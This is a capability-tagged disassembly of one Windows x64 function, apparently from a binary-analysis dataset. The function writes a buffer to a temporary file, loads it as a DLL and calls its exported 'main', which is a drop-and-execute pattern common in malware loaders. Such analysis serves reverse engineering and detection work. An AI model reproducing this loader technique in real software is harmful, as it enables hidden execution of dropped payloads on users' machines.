Function at 0x140047cc0
Capabilities:
Get common file path
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
xor r15d, r15d
mov edi, r15d
mov qword [rsp + 0x50], r15
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], 6
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
mov eax, dword [str.014583]
mov dword [rsp + 0x58], eax
movzx eax, word [0x1400c0438]
mov word [rsp + 0x5c], ax
mov byte [rsp + 0x5e], r15b
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x78]
lea rcx, [0x1401b9590]
call fcn.140054dd0
lea rcx, [rsp + 0x40]
cmp rcx, rax
je 0x140047d70
mov rbx, qword [rax]
mov qword [rsp + 0x40], rbx
mov rsi, qword [rax + 8]
mov qword [rsp + 0x48], rsi
mov rdi, qword [rax + 0x10]
mov qword [rsp + 0x50], rdi
mov qword [rax], r15
mov qword [rax + 8], r15
mov qword [rax + 0x10], r15
jmp 0x140047d7a
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x140047db8
mov rdx, qword [rbp - 0x78]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047db3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047db3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ae054
lea rdx, [rbp + 0xa0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x140047f12
lea r9, [rbp - 0x70]
xor r8d, r8d
lea rdx, str.temp
lea rcx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x140047f12
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140047f12
sub rsi, rbx
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x1d0]
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140047ef2
mov eax, dword [rbp + 0x1d0]
cmp rax, rsi
jne 0x140047ef2
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140047f12
lea rdx, str.main
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140047e9a
mov ecx, Ordinal_46
call rax
nop
test rbx, rbx
je 0x140047ed5
sub rdi, rbx
mov rax, rbx
cmp rdi, 0x1000
jb 0x140047eca
add rdi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047eca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rdi
mov rcx, rbx
call fcn.1400ae054
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, reloc.WS2_32.dll_socket
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, reloc.WS2_32.dll_socket
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3